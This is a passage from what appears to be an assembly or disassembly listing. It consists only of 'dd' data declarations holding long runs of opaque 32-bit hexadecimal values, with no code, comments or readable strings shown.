12AC9089h, 8865B9B1h, 0CD6CB3A4h, 3A7111Eh, 21C5A84Ch dd 0B0A8E741h, 573F5B38h, 0CA6A0093h, 36C32CC2h, 93349695h dd 421B007Eh, 265E252h, 64015B03h, 89E003BBh, 8448D5E1h dd 0FD2188B2h, 58E57400h, 3FF852E6h, 2627D1Bh, 0D90553C1h dd 1C64C709h, 0FC3E9700h, 8B214D2Ch, 0FB401F1Bh, 0B082D418h dd 0AA844181h, 370DD44Eh, 0AEC3F700h, 19038CE4h, 344F04ABh dd 0C05F2818h, 9E10E76Ch, 0BA89B660h, 1FA7A564h, 40493CDDh dd 0EED9FC31h, 29001F8Bh, 5EADAEC5h, 0A8E79A85h, 7CF54C0h dd 0A6A968F3h, 6C84AB81h, 34E4827Bh, 0D200CC25h, 0FB82F416h dd 9A40002Ah, 4DD201E5h, 5C99C718h, 3EA5A602h, 508D4035h dd 11E0AEh, 39B8EBB3h, 0B735AF5h, 2820C209h, 0A4AC010Ch dd 0DB10A099h, 0D905310Fh, 0DD823249h, 0AC7C8440h, 0BE6DF3h dd 2C6222E5h, 0B3EACF7Eh, 262DE8EFh, 68679A00h, 549DFFBh dd 488B984Ch, 178014ACh, 162570ECh, 0A1C6EB25h, 0C3046C60h dd 0A01ACCh, 7B832A45h, 0F2F512Bh, 890B4B8h, 0C0E17612h dd 7A71D021h, 3F80342Ch dd 3AD0F726h, 70B61500h, 0FA5D298Fh, 3E4C944Ah, 0E474585Ch dd 70620208h, 4FAAF6EAh, 5AACF098h, 4A461A00h, 6C2F0ADDh dd 97250002h, 10DA536Fh, 0A427D452h, 40001ACDh, 0F2BF93D4h dd 0D08250B8h, 1794885Bh, 0B71D5Ch, 61533F80h, 21EAD7Fh dd 9346D58Bh, 50C02CB7h, 8C258A9Bh, 27582FC7h, 6A90FE83h dd 0F4B6953Bh, 23440009h, 4DF22F41h, 0AC449910h, 9BEE039h dd 0FC0A1218h, 0C7282D80h, 8302D227h, 0B4B5F2C6h, 0D9D840CDh dd 98F9482Fh, 0AAE9C39h, 0AF0E0174h, 80BA829Ah, 0C8AC3279h dd 989278E7h, 6449167Ch, 0D758057Eh, 23C20090h, 0EF113E5Dh dd 206AECA0h, 0AD2F3609h, 8EE09093h, 0D9500A48h, 0B82C14h dd 8098DAB9h, 0D070D692h, 4EA06E00h, 628D96E5h, 0DA1800D1h dd 2C0FE278h, 0C8919510h, 0C128BA80h, 5C17A396h, 0C487C09Ah dd 67E4F0DBh, 8198F2F4h, 9F0CD5Ch, 414DC96h, 405E37E8h dd 0B00BC174h, 0FD6193A3h, 660D7841h, 3FC5D4h, 0E5A0416Bh dd 9BEF8173h, 98A7871Fh, 49037A00h, 5FB97B8h, 4361C7D1h dd 6AA40072h, 0FF170F8Fh, 0FD7BD003h, 0D1ED4E08h, 0D432C758h dd 998AAC09h, 9220CB0Eh, 9C775091h, 78643F58h, 2A78317h dd 9D4EE030h, 39E2A0E4h, 0ABE011h, 0D057838Ch, 3AFB0FA0h dd 8A0E44B8h, 7AF936h, 33CA82D1h, 0D9EA25DFh, 9F14C10h dd 90C37100h, 0BAEC4557h, 40994FF8h, 681CAD84h, 0CF01FDF5h dd 5A59A047h, 0E0D794A3h, 0F0E7BF2h, 0FF01567Dh, 0A1EC3644h dd 0D473C84Ch, 90203D4Bh, 302759h, 48D6FD8Ch, 2237396Dh dd 90BD3D00h, 57FFDE77h, 9A2E282Bh, 72E93F70h, 0BECD3800h dd 11CB1FEh, 0E0FF800h, 0E38DEBD5h, 96D0721Eh, 3CA8A0h dd 506F08AAh, 0A3E0FB41h, 100F891h, 0C273C02h, 0CD4E0004h dd 0E86C2B63h, 68B18115h, 66673F01h, 9AE00854h, 0C58D00AFh dd 0B84B4AF3h, 4E500678h, 0F4B8A4A8h, 0C375A800h, 6F725C17h dd 0F9D900A3h, 342B37C0h, 97F1312h, 3675741Dh, 63A4F40h dd 12BD6F95h, 418E51A0h, 5FEAD970h, 3DC3293h, 4AA542F0h dd 0C121BFA7h, 0CC6320B3h, 0C4EA3C07h, 92A930AEh, 5A395602h dd 0CD35008Dh, 3D0A29B2h, 8F503434h, 0EF80131h, 32C604B7h dd 87BD00E8h, 4279D355h, 43A2A015h, 8521034Fh, 3B058133h dd 84D72980h, 2B1A6B16h, 0ED34EC04h, 0ABCC0B53h, 84012F89h dd 0C8329679h, 0DA01312Dh, 0D158E97Eh, 0E8229423h, 0CA6CF70Bh dd 28096EDEh, 34A41081h, 19C400C6h, 1A53CBC2h, 0F2EC4641h dd 0D839090Fh, 2040DEE3h, 212534F1h, 33610A68h, 9CBCA708h dd 88A411h, 21F3DF62h, 4D00F48Fh, 0DDD19FF6h, 250B918h dd 6D63A9DAh, 605119B3h, 0BE7EF387h, 59853940h, 0FAC300EBh dd 0ADD88E48h, 170002C7h, 3A454E6Fh, 16B92249h, 9039D3B7h dd 1B159F14h, 7CCE18C0h, 488C21Ch, 0FC62524Ah, 0AACE8BBh dd 38C7FBACh, 81943200h, 7ED9CCh, 34655A98h, 1895CAF7h dd 12B0DB17h, 4F977C02h, 0F8C499h, 5CA607ECh, 0F926FC32h dd 238E4100h, 10EF2EDEh, 0B0111786h, 570C80D9h, 6E22B9EBh dd 6F07162Bh, 7E049193h, 3F0EE067h, 2728DE98h, 73709C35h dd 0A81A9E70h, 66B0B0D1h, 89A0033Ch, 96B44130h, 28223EA0h dd 64EBDB00h, 10C0D823h, 40D4940Bh, 7F7B7A48h, 5400BA75h dd 93705B27h, 3F3E2C6h, 0DF5146DBh, 0A8C93C63h, 7FE030FAh dd 90F8C426h, 2654542Fh, 7422405Ch, 0EE003773h, 76DF206Dh dd 48D375h, 2623F128h, 9641B56h, 10024E27h, 3ED08DCh, 0DBAE77BDh dd 58885304h, 0E0011776h, 9602AB85h, 2FE18734h, 0B884D420h dd 44264AB3h, 0A21856B4h, 3B3C10h, 7C3D6F59h, 76E96622h dd 99281B50h, 30C731ADh, 0BA889EA7h, 0D1E26F00h, 0D0F13B0Fh dd 94370724h, 742F659Bh, 0E1808827h, 4440B25Eh, 25DAEF03h dd 0CB28A09Eh, 53930BE6h, 47816137h, 0E0EF56A7h, 0F1391436h dd 5A8B0045h, 4E31CA6Fh, 0E993308Ah, 638EA459h, 295BB90Eh dd 5C40A169h, 0F88A0CBEh, 4090934Ah, 0DE4550B7h, 3DC57A00h dd 62D926E8h, 83490107h, 0AAE11D6Eh, 10A1A5D1h, 3137F40h dd 20FE25ADh, 0AFA0F5E7h, 35196D95h, 0EFE00ADEh, 0F002DB13h dd 0CEAAD69h, 0DC50809Ah, 1CE6A64Bh, 880EE2h, 7271A064h dd 0F5020298h, 6017455Bh, 0E4F016h, 0B28A90A9h, 0BD9AA1Bh dd 82368C0Ch, 1FE599DCh, 401CD0DFh, 18A07BC2h, 0BE007A83h dd 85E18C3Eh, 0E213F091h, 20E84E74h, 35BCE2B8h, 7AFF53Bh dd 539D3CFFh, 0BBDF98F0h, 2FF8EA38h, 0BC905FF3h, 2F00AA31h dd 73A3442Bh, 98836D24h, 40104A0h, 445969A8h, 0C8C95235h dd 2B00DC23h, 4689C355h, 11762FFh, 90D09597h, 3C1E5674h dd 0E39C197Ah, 5C448046h, 0C17DCFFAh, 0C6FE9010h, 6408A901h dd 4033D343h, 917702Ch, 18F1D500h, 84F8B5Ch, 0C8B9A3F9h dd 3F447921h, 4980873Ah, 0A43880DAh, 22001AB2h, 525CB0AEh dd 0C0D09874h, 90E69489h, 961E5E0Dh, 59008238h, 984FBE9Bh dd 0ACDC2CF3h, 33E1114h, 65AE02EBh, 29AAE953h, 41194C8h dd 69D384F7h, 1F7CA2A9h, 0A806633h, 0CEC822E2h, 48833EDFh dd 50B85A09h, 41A7AF80h, 6C5F5CC1h, 288F3820h, 4A620024h dd 0C03FC4ACh, 0DAF0933Bh, 0CBEE6102h, 0C1073150h, 8514A5E0h dd 63F782BCh, 3862EC40h, 0DBEE2517h, 8F5A8A0Eh, 2C0993CEh dd 0A334809Fh, 65641092h, 85A8B09Ch, 0B938E425h, 14406F4Ah dd 40DDB4F3h, 1DD02EC4h, 1B91C024h, 4212BEBFh, 60A4069Fh dd 0E8960178h, 0F98A7BD3h, 832C300Ch, 846C9000h, 29E59FEBh dd 0EAD40233h, 0B6E1AAF3h, 63037071h, 0A0013A09h, 2E2D6B62h dd 6050E2BDh, 0F24E072Bh, 522E5871h, 0E6116C7Bh, 4E816C5Ch dd 0D25DCD28h, 3BFF481h, 0CA40C2B5h, 3D4A7FD7h, 0C8C43CC9h dd 85E5127Eh, 992C090Ah, 2F626CC8h, 145D5000h, 0A966A54Ah dd 1D05003Eh, 30CB3C61h, 0E601C222h, 0C60BCC13h, 3980B499h dd 8D1CF594h, 42E8B6B5h, 441B8625h, 816200E4h, 71AF3452h dd 0F94CFEA5h, 9849C044h, 7272C72h, 261C536Fh, 962F607Eh dd 0BA1E87C8h, 9780283Fh, 0BB0D7D92h, 0D4FE0799h, 1F833648h dd 1B2B4AE0h, 70002A6Ah, 0EEC72201h, 5A5EBBF8h, 0C4304082h dd 7B0A3998h, 9E282F00h, 1C512995h, 4F702446h, 0F95E00A4h dd 7AAC6C18h, 49808C91h, 48AEDD81h, 27820F83h, 53805840h dd 79D85C94h, 2E1FD0B0h, 54000FFCh, 6FB1C631h, 4CEA029Ah dd 38D0327Ch, 3A4A88C4h, 20888h, 4567D685h, 3CC3085Ch dd 24A09E05h, 108839D0h, 22A4386Fh, 0E43E6A9Fh, 0FC3B4050h dd 0FE3AA73Ch, 6BAA17C8h, 0B991BC00h, 4C2B4F99h, 76801081h dd 73E97AFh, 0CCAD9F1Dh, 0D454E025h, 4D0358EDh, 0DF344C1Fh dd 730E0756h, 0DC7BC0A4h, 623C4366h, 8BA51287h, 368070C9h dd 73CBE5E4h, 0EA00622Eh, 0B6AD26A5h, 0B88217Ah, 0A82F5101h dd 81058A0Eh, 0D21C00E8h, 0D4D9689h, 0C787EC09h, 78989831h dd 0A964008Eh, 618C4A2Eh, 2517CCB3h, 0CC30F206h, 2ADA42h dd 62667849h, 4A8487C2h, 8C172900h, 0D0127206h, 4354B634h dd 7087ACBCh, 7036D8AFh, 0C5688304h, 14C039ADh, 0A9DEB7h dd 4D926EFBh, 4E14949Ah, 41E19330h, 793F2Bh, 0D2FE90Ah dd 0D0DAFB6Bh, 0E538DE0Ch, 267758B2h, 1604A759h, 0A4600D97h dd 660C8B70h, 57CC893h, 7A0E053Ch, 0C04416AEh, 0DDED9B75h dd 2AD38202h dd 0F8D79D4Ch, 0B5A401F4h, 9926FFBh, 0B6D460FCh, 0FC24024Bh dd 826EF8C0h, 0C43F0095h, 30E62F13h, 6603A37h, 51D36B40h dd 90824EBEh, 1963A32Ch, 4788CF1Ch, 5100C8DCh, 0B5049B78h dd 283A0CDBh, 75A9E581h, 1B247402h, 70662914h, 939A28D9h dd 0EE2A0010h, 0AE6181B4h, 6404CFA7h, 37040BD8h, 0B400DCF2h dd 8FBC49FEh, 9F1FB941h, 0D844FB07h, 68889ACBh, 0AFD2008Ah dd 2B54E05Ch, 0E2095364h, 1350AA7h, 8247E740h, 89073872h dd 3F8A4DFh, 0CEA075E3h, 6000D734h, 0AE9367B5h, 0BC707FD6h dd 7B9A0444h, 80B4A89Eh, 0BCF3EB5Ah, 93D90797h, 81847560h dd 20CD4F8Eh, 0F112EED8h, 0D4F43AD3h, 98DA0F4Ah, 26405BBAh dd 0B41F3794h, 0F2128F7Ch, 0B002C34Dh, 792056A2h, 9A460068h dd 927DB7Fh, 44EEE02Ch, 9C28AEC1h, 0D9C6E1FDh, 12961EF8h dd 9ECCA4A9h, 0D980A09Ch, 31F467AEh, 1B5C00CBh, 15910911h dd 8407F540h, 6F5DF26Ch, 43AE34C2h, 0FC41001Dh, 9536AA6h dd 0C600687Dh, 3A310CA8h, 1F2915BAh, 0D784FF8Fh, 5274C834h dd 5DD5F400h, 0B0953218h, 17CD2FC3h, 79137410h, 63ADE300h dd 232A50DCh, 8F520066h, 3DB84107h, 9F0E9E36h, 49A5342Eh dd 9C44513Bh, 86857A62h, 81EDFD53h, 68094BB4h, 674880C0h dd 0F54317h, 3B2D54DEh, 340F55F8h, 0D48D602Eh, 38C8AF13h dd 0D92700BFh, 50F059E3h, 0CA1C7F3Fh, 560E511Ah, 0F9AE80D0h dd 94D84CCCh, 72C94004h, 4B006A5Dh, 0D376BD34h, 0E1C25A45h dd 187C202Eh, 3CFE633Bh, 0F85EA902h, 0C0017764h, 596FDC4h dd 2321C11Bh, 519C1D5Ah, 914C019Eh, 0AF641A41h, 0E52F80BFh dd 10A57011h, 16FA8509h, 0C802C5E7h, 0AD7A161Ch, 6FE44D01h dd 29079E8Eh, 80614474h, 2104A775h, 1DD3C065h, 0D89CA4h dd 727A5F1Bh, 0E839B3DAh, 0E4CFE62Ch, 4B345403h, 8DC69C66h dd 0F11B02A1h, 5637D2A8h, 4B40CC56h, 27EB180h, 555FEDBAh dd 28662DA4h, 3D783300h, 0DB83E8D9h, 44F3B11h, 7F44B2Ch dd 84A79h, 0F41398Bh, 99E38130h, 27CF68h, 7BDA3B7Ah, 2DF6FBA8h dd 0B3345604h, 10A2038Dh, 0A605DA00h, 2AEA5F39h, 8202C074h dd 0D05BB18Fh, 40AC5E35h, 0E2CB2973h, 0BD0E5301h, 1BE4CC01h dd 0B724270h, 5C345B46h, 0E0023090h, 9844BF4Bh, 5CF2FB4Eh dd 428D7B00h, 0D73D68A4h, 7EACB500h, 1E71E1BCh, 88960F2Ch dd 681FA5C0h, 74211420h, 3040F4A7h, 80E490F1h, 24FF2930h dd 829A97h, 0AA6035FAh, 10979C65h, 9801F82Ch, 6D2F02C7h dd 75F06794h, 0F3A6637Dh, 20888C98h, 86B50737h, 7BFFC0h dd 0A91DE8BEh, 909708EEh, 0F8AE24h, 0C04C47E9h, 0F306FDD1h dd 50E48A00h, 948CC6DCh, 585C000Eh, 4F64A44Eh, 0D82760ECh dd 0FE8064E2h, 164987Ah, 0FC0826B0h, 33024D98h, 5CEE0258h dd 58DE1C5Ah, 2C611D08h, 683005Bh, 0ECE38D01h, 6440C74Bh dd 0E6700891h, 0ACA30104h, 0C9BA2FF7h, 49B840ABh, 0F400588Ah dd 82D977C4h, 0ED4F68h, 0DA7104CAh, 8B1DD678h, 746AE800h dd 0E2CCE681h, 909BDBh, 56888CCEh, 260018FDh, 21A31A73h dd 21E3E8Fh, 54AA0B3h, 48AF5B8Ch, 48031981h, 64C86099h dd 0AE0FB37Ch, 809DE522h, 13EE8110h, 0ABB800DBh, 0A3F234F1h dd 3E1444FCh, 78C8D5Ch, 41276391h, 0EAAE5230h, 8D8B0BBh dd 0E7947E49h, 0C004988Eh, 47BCD288h, 0C66429ADh, 124880F8h dd 0DE0F0570h, 0DB002673h, 28455B86h, 11790FCh, 533BA922h dd 832F1865h, 0F8BFC5E8h, 3CA1E020h, 24EF48A3h, 2410882Fh dd 2D0BB632h, 80BC85AEh, 69D37424h, 14A590B7h, 9CB4E182h dd 1EDE6F80h, 0B9248A5Fh, 0CE41B465h, 187C27D0h, 56D8E898h dd 0A6803A63h, 0AE740F9Ch, 0BA2049B3h, 39E8D117h, 0D9286FE8h dd 9305C0F1h, 20D01EFEh, 17D48889h, 378B255Ch, 49DAA010h dd 86D85F00h, 0E307CBB6h, 1EEBE812h, 0A4E18A65h, 7226419Ch dd 0B83DCCF1h, 0FC96F48h, 8057236Dh, 7478574h, 13E275D3h dd 0BF0224Ah, 0B400920Dh, 0C6D76772h, 784CDCBAh, 0AB28601Dh dd 26FDB96Ah, 109C17B3h, 385004AFh, 2C9CE187h, 20E51DBDh dd 9097C502h, 6310C1AAh, 0F2A8214Eh, 0D42D6241h, 2B09B922h dd 0D01A8903h, 9D582D7Ch, 3E4CB010h, 0BB53DE00h, 4976419Ah dd 74CA1C96h, 1D4A807Ch, 1EECFD38h, 0ED5C3D04h, 7CEC7BBCh dd 5E5A8A87h, 71596D67h, 0F81A7703h, 864CD5B5h, 66DA05FCh dd 0B007C2CAh, 81804F61h, 0F5D0CFF5h, 463F8063h, 696F1E00h dd 96A63959h, 0BFE00161h, 0B860B2D3h, 4F4974B0h, 83504A67h dd 6D724084h, 0BF70789Bh, 3A89D13Ah, 17B204B9h, 74FC63A8h dd 8F48F0D3h, 0B82F5B3Fh, 0C8B0796Ch, 0CC8A54Bh, 0DF801FE1h dd 0AE20C02Ch, 0A5C9FED5h, 0A43F072Eh, 494E1103h, 70C6D04Ch dd 0A89007ADh, 7C64B722h, 5C261841h, 0DD11BCA3h, 7C489E27h dd 0C90F1149h, 0E11D5A28h, 356DB964h, 0C05939BAh, 0B6DA8F83h dd 1E03D3E8h, 30AF221Dh, 0B3EE2D81h, 20706E5Fh, 3C40D0ABh dd 4240B87Dh, 468100C7h, 80AC8E40h, 519D0F13h, 0ED04CAD0h dd 475CC7B2h, 40E4A990h, 80649238h, 40EAF0Ah, 0F39B91h dd 0D0205DCCh, 0F24A169h, 0D8E29A2Ah, 0B9A90E16h, 4D258902h dd 1E1B5C81h, 883B5276h, 4000DC4Ch, 5005B2E4h, 0F65E6F74h dd 68290B7Ah, 0B09D65h, 904807D4h, 0AC777DD8h, 1CD3709h dd 52D0109Ah, 4F2E025Bh, 0BD99ED55h, 89008450h, 67019F3Ch dd 2411E7ABh, 4710C8D9h, 5AFEE064h, 42B88723h, 2E3631Eh dd 6C1FBCD7h, 9A062447h, 8D838048h, 612C180Bh, 0A300717Fh dd 0F4630F2Eh, 18FC1D3h, 50211205h, 2165F9C5h, 9903E46Ch dd 0C0404F5Ch, 3A4CC983h, 0DBF60014h, 0E024AC84h, 229AAFDh dd 0A24F4C6h, 220E7E00h, 0BB9F938h, 0E0EB4A3Ah, 0A8E08C64h dd 359810B5h, 0A0A34C08h, 0C2B68FC0h, 740B1AC1h, 0E6E1E0FCh dd 8491DE8h, 174F808Ch, 278EA060h, 4505267Eh, 38C6F1CDh dd 58E154F0h, 5DC9A4A9h, 4135E818h, 0B0362400h, 0EABD90E8h dd 0B358391Ah, 0DC830125h, 0D825FBACh, 7FFC907Ah, 9BEAC7h dd 0AA5765F4h, 0AE8E4ECEh, 0F83DF704h, 0E4A2D7B0h, 5F920F00h dd 30EBD291h, 3EEFEA0Fh, 43C8E49Fh, 0C77914D1h, 1079848h dd 644D1BA9h, 8B04A414h, 976DD8h, 0E215E1E8h, 66504E0h dd 81FDFBA9h, 0F05CB6F0h, 53278708h, 3B42D2EBh, 510937D6h dd 0F46466B8h, 23070B01h, 714E4801h, 484D5CE4h, 0DFC0740Ch dd 0E9B83927h, 5B7472ECh, 5D7A7F7Bh, 6921F107h, 1891EE8Ch dd 202EC6D6h, 9ADEF424h, 9FE4B760h, 0A6CCE4h, 4935E96Fh dd 0EDCB51C4h, 5E7244B0h, 0EF76E20Ah, 1E40C0C6h, 0B8A38988h dd 0EAD20435h, 0A926D05Eh, 0D4AA8138h, 742D5F34h, 296CB90Ch dd 6EC1841h, 9176F01h, 12F9F6B1h, 0C372F8h, 0DFBE2211h dd 2F3B3163h, 0E443E4BCh, 7B898087h, 798F39B8h, 0D2DB3480h dd 0FE483CC9h, 0AAE9E605h, 0C2FF0AB5h, 1141E4BBh, 0BBE0604Ah dd 4426D327h, 88FA5AE0h, 0FB7247D0h, 0A471AA00h, 6FA8036Dh dd 93DB8837h, 0C7428507h, 1AB065EFh, 0C4BBEE2h, 8FCD87DAh dd 878B90E0h, 9D678A30h, 54C00E6Fh, 9EA9BE09h, 683CE468h dd 70DD500h, 422718FEh, 8CEA6Ch, 0D86DA57Eh, 6A776F7Fh dd 0BFA5609h, 807101h, 3F58D21Bh, 0CF00AF47h, 6321F4C0h dd 0F5FD9Eh, 5395092Dh, 542E4B3h, 23D77C0Bh, 6CE08051h dd 48CA0D63h dd 7E8754C8h, 7B78C046h, 2FF9C468h, 92DF1400h, 0F1357Ah dd 0D6EB293Bh, 70A55C23h, 61261D00h, 0B51594DFh, 90049771h dd 60A23Dh, 0AE772F08h, 4E7009BDh, 0F5A44095h, 0DEB0FA86h dd 9C0C0200h, 775EB9CEh, 7A3A01A0h, 5081FD8h, 0C2808125h dd 3E8E48E1h, 0B5F9830h, 0FF038FB6h, 827D1880h, 3600736Fh dd 265874FEh, 2EE6C494h, 0B3C13AFh, 88598EAAh, 0E700A426h dd 756C5CB1h, 1E3675AFh, 823739CDh, 0B80D92D1h, 20B00840h dd 42E36F00h, 844A8F3Eh, 272AF78Eh, 51D5906Ch, 360B0850h dd 80F48BE8h, 8F14563Eh, 45341F7Dh, 0B06E804Ah, 58FD109Dh dd 0A0909E4Eh, 0E212745Ah, 4173123Fh, 6B82098h, 7E00DE40h dd 0CF7D4A8Ah, 142B4AAh, 51F6D923h, 685EF2C3h, 6B018014h dd 955483Fh, 32F8559h, 490098F1h, 0C9FAE8E6h, 0B5F29822h dd 4E803C10h, 2D1761F4h, 0ECC8813Ch, 0A478045Bh, 82BC34F9h dd 512B65C4h, 0EADE0048h, 0AD8FE099h, 0D0EFF226h, 0BB1AC300h dd 379B09h, 2FA5E3D5h, 2CB3800Eh, 612EB9FCh, 2350743Eh dd 0A6C83E16h, 81BD6A00h, 0A46425F2h, 0EF672B01h, 37C0D8CAh dd 8D74207Bh, 0FF07A371h, 0E5AB0483h, 13BC77E0h, 0A9A6012Ah dd 0FEB1F1CBh, 283D96h, 3A59F6BDh, 0EA9C32h, 0DF13E373h dd 174E6FDDh, 9E99F00h, 4658FD7h, 20E24F7Fh, 4114C5A4h dd 3726100h, 0F339A090h, 2A3E682h, 0CBFDC13Eh, 8C7CBFE2h dd 0E8241B44h, 194980ACh, 0E78F5848h, 45DCA6F1h, 9DED000Ah dd 0C2128EC7h, 0DB136DA9h, 0ECB282B8h, 0BC3DF13Ah, 0AD9CFD8Fh dd 1B2880C0h, 9528A934h, 2C006CBEh, 0FA5F0412h, 94B64E01h dd 60B0034Ch, 904F2805h, 32868C30h, 1F9890C3h, 0C0675C7Ch dd 0D3E88158h, 0C8B0F269h, 14C06C5Ch, 1C977Eh, 0CA3CB93h dd 26F2A4h, 2970AD2Fh, 79C4D1FFh, 0AB1F98F6h, 3442EB87h dd 310B124h, 4100FC93h, 7142F072h, 7F814F2h, 52FDB82Dh dd 10C9D71Eh, 5B9D7DF6h, 0AF65B405h, 90B83AD3h, 4234DDDCh dd 0C6F978B3h, 0A900787Ah, 934C6B05h, 0BE047D4h, 70F101D9h dd 18598009h, 8E8CE707h, 23558A00h, 0D01E09BEh, 0A0D98BD6h dd 5756691Eh, 40FA5D0Fh, 8C8EE8E7h, 9E71C9h, 0F06BB9Dh dd 26CD96FFh, 14688150h, 0E3C8D00h, 0AB775749h, 288B0029h dd 82E0FEEFh, 0C83DA4CCh, 0CD7013AAh, 0C400ACA2h, 45F90189h dd 710008F2h, 1A584FA8h, 4B28204Bh, 0CDE4D199h, 0C282F0D8h dd 613A362Dh, 7AEC75ECh, 0B016F04Fh, 53342539h, 0AF22A820h dd 50EF0A7Bh, 0D74B546Ch, 0F7A3B200h, 9DB14645h, 8EB51EAFh dd 9F2A8284h, 8856AA48h, 0C6D0C247h, 1D2E635Dh, 491FBA57h dd 0FC4667B9h, 129C763Ah, 70321DD0h, 9614233Eh, 0A511F6B8h dd 1A531804h, 8C8092F8h, 95216520h, 0F71D2090h, 7364A700h dd 0DD9EC058h, 0DB9B3A2Ch, 0DC0B2B01h, 30026C4Bh, 992FB9D2h dd 1C649Dh, 0CE461EDh, 35F8927Ch, 82815Fh, 3EA26073h, 0D7C84F62h dd 0CFBE078h, 6E00374Ch, 68984846h, 2EBA869Bh, 1234537Fh dd 0B298C097h, 3412C611h, 44887460h, 0E343003Fh, 6462983Ah dd 0F3A0B803h, 4B7885E0h, 534EF00Bh, 3B247106h, 0AFF43F00h dd 0E1715F8Ah, 0A020AC4Eh, 16BBE862h, 0B2E0EBDAh, 9A21092Ch dd 1C71ABh, 0D41A1327h, 9D03571Ch, 0CF4F854Eh, 8138A052h dd 899A2434h, 0E4780FE0h, 684E25C0h, 5A011DABh, 66FDE0F1h dd 407364B9h, 0FCCEBF0Eh, 880D7E9h, 4A82AE84h, 0F4568F13h dd 925C7900h, 17ABBC6Fh, 3058F8E3h, 6CFDC96Ch, 51750800h dd 0AD29230Ah, 0BC31017Bh, 795F1235h, 830C2CD7h, 0A892D2F6h dd 176B7185h, 8826277Bh, 6F007914h, 81F261AEh, 0E6F78529h dd 171A3E5Bh, 0C5B24F01h, 3990A811h, 31E1C64h, 67ED837Eh dd 0F2B84A9Eh, 0B7D8C0FBh, 115C0964h, 3C1817E7h, 46008D37h dd 0D938420Ah, 23BEFAFh, 2183AC88h, 8E06A69h, 84B537CFh dd 98ACD5E0h, 0DC6FC780h, 663A21B4h, 0E2E900A9h, 0A1AE3398h dd 7ADA0139h, 0D7A773D6h, 34202F8Eh, 0F41726h, 0BA232186h dd 0B4F83DDh, 19F1AF07h, 0E220C5FFh, 98FE9BB2h, 0BD961490h dd 0AA25D04Fh, 67020CC4h, 0A80F5735h, 97FCFC61h, 0D9F830CEh dd 2D005F25h, 0A52FA914h, 0FB2EB5h, 0E3CF4A0Bh, 6C950A88h dd 71BA7F05h, 34E3D03Ah, 29360270h, 24988CBh, 12A03841h dd 7250785Fh, 21927DBFh, 1C008114h, 8BB4B1B6h, 284E00A9h dd 58170E33h, 9F0909E7h, 0D12F3513h, 0B7430E18h, 477603E0h dd 0E1166A2Eh, 9D0068DFh, 0F54A17B2h, 6F74066Eh, 0A03D0E05h dd 0D0FBEC45h, 90D6F6ABh, 0D4760240h, 0E1A30834h, 0C1901355h dd 188B71C9h, 5400398Bh, 2935B572h, 0A751D0DDh, 0A151D004h dd 0E30A995h, 0E3D26601h, 84BA8E1Eh, 0A7B0A8h, 316AE97h dd 6709E490h, 0FA9AD22h, 1000720Ch, 0D3CB9C64h, 7CB121h dd 837F03D1h, 1B090BE9h, 40B79E63h, 2C309C30h, 0C4FCE1BAh dd 0C5662127h, 0AD04092Bh, 4409305Ch, 0FCC87298h, 9EA0063h dd 0AD46DACCh, 2601C37Ah, 0B6E9D5F3h, 34629A32h, 8870A3Bh dd 0F08C0637h, 0D0F5E471h, 272A4B00h, 0D13F9878h, 7246043Bh dd 0C31C7EEDh, 0B1878F6Ch, 2D945DB7h, 44DB00F4h, 1CBA63F3h dd 0F498003Eh, 72EDDE79h, 35E70ECh, 0D0095C20h, 1AEB00FBh dd 7689E913h, 0CB3D070Ah, 0E6FC80E0h, 80973E6Dh, 0C8114E6Fh dd 59758A00h, 408E5400h, 0B0640429h, 0C88F4C3Eh, 0CA6A83C0h dd 883AA684h, 0EB050076h, 0F8B3125Dh, 203739D0h, 6F6421A4h dd 558C88B2h, 2CED2524h, 1C024212h, 44B5E1A9h, 0B1773C18h dd 32BBC017h, 0D420EFC0h, 4EB948B8h, 1120406Fh, 0B3370414h dd 9C88AC4Fh, 273C07C2h, 0E1DB2565h, 40B4E161h, 90705F30h dd 982BC024h, 0FC2C6F60h, 0DDA800EDh, 0CA233DD8h, 4C12671Ah dd 0EC082E82h, 26188E35h, 5FAE7DE1h, 604E716Eh, 5F84E470h dd 872C88AAh, 0FF07E500h, 0B541DB9Ch, 405C9E7Fh, 54BF38Dh dd 284D2601h, 9A2B3574h, 0EFE4402Eh, 341C876h, 59B31807h dd 9537C4C1h, 37CCAF00h, 0A8EF3FEEh, 0E00A8C8h, 5C128ADEh dd 0B807D26Ch, 35F945DAh, 0F405189h, 598008DEh, 287BED2Dh dd 8F0E9890h, 12A4D1B9h, 0FB496840h, 421C89Eh, 794D3599h dd 93D4C216h, 0A861D8E2h, 0D05861A8h, 10C141EEh, 91B8D85Bh dd 98FDE420h, 81097ECh, 49604BA4h, 338AABD0h, 0CB430026h dd 8E8D9CFh, 90B9CD89h, 0C0250180h, 0B09C050Ah, 7490C9E3h dd 4A11FC56h, 0B325350Dh, 80B43C31h, 86269CCDh, 0A49418h dd 9B0917DDh, 0AA07DA90h, 237D51ADh, 0AC5129h, 0AFCA418Bh dd 7624184Ah, 7F01986Fh, 902C63Fh, 0B8D0882Bh, 15373Ah dd 0D92875D2h, 193176Ah, 41FE355Eh, 0C5668C3Fh, 38D83050h dd 0A4C8FF44h, 656409F0h, 1E00E58Ah, 282F1F14h, 78300A4Bh dd 3DBDE39Dh, 930F7444h, 0B140DB55h, 0FBDDCE90h, 39260D7Fh dd 8A029805h, 0F298B224h, 0AED18080h, 0F88D3894h, 0E45C8380h dd 977B7EF6h, 27B11650h, 27C3900h, 0CDC29B6Eh, 7948C073h dd 463CFD2h, 22FECBE8h, 0BD29AE00h, 6C18FC8Eh, 0DA56015Ch dd 926353A9h, 0E4662Ch, 76519AB4h, 0B76B5C02h, 297B6800h dd 9CA30F91h, 7E0340CCh, 0CBF99Dh, 6D6C1473h, 4DAEC970h dd 0A11B5502h, 0D29A01ABh, 0F9720068h, 6A977C0Bh, 4C09B28Dh dd 0D9B7397Dh, 85901CF0h, 8166764Ah, 0ECB8A610h, 0DB26E18Eh dd 1E4510EBh dd 2738C032h, 942A8080h, 0C507A833h, 64E2E567h, 419AFDF2h dd 40239D7Ch, 281F6800h, 0AA67E6C9h, 0DB20C095h, 12230960h dd 0CC1831AFh, 0A0F2576h, 61F77F63h, 6923E444h, 1DD667C4h dd 45B98961h, 0C26C4020h, 9840A374h, 0C135379h, 80223A34h dd 40C456EBh, 0EA972164h, 50871F2Dh, 4A351406h, 0FF3FCD49h dd 39D37585h, 377008F9h, 0FBD8880h, 0B55F5957h, 4B40D892h dd 7DE8EE8Fh, 0B85C34FEh, 2C27C090h, 94773h, 7AB53A15h dd 0B7531436h, 6AE32300h, 16E8A14Fh, 0BBF800FBh, 336D78B2h dd 36127F71h, 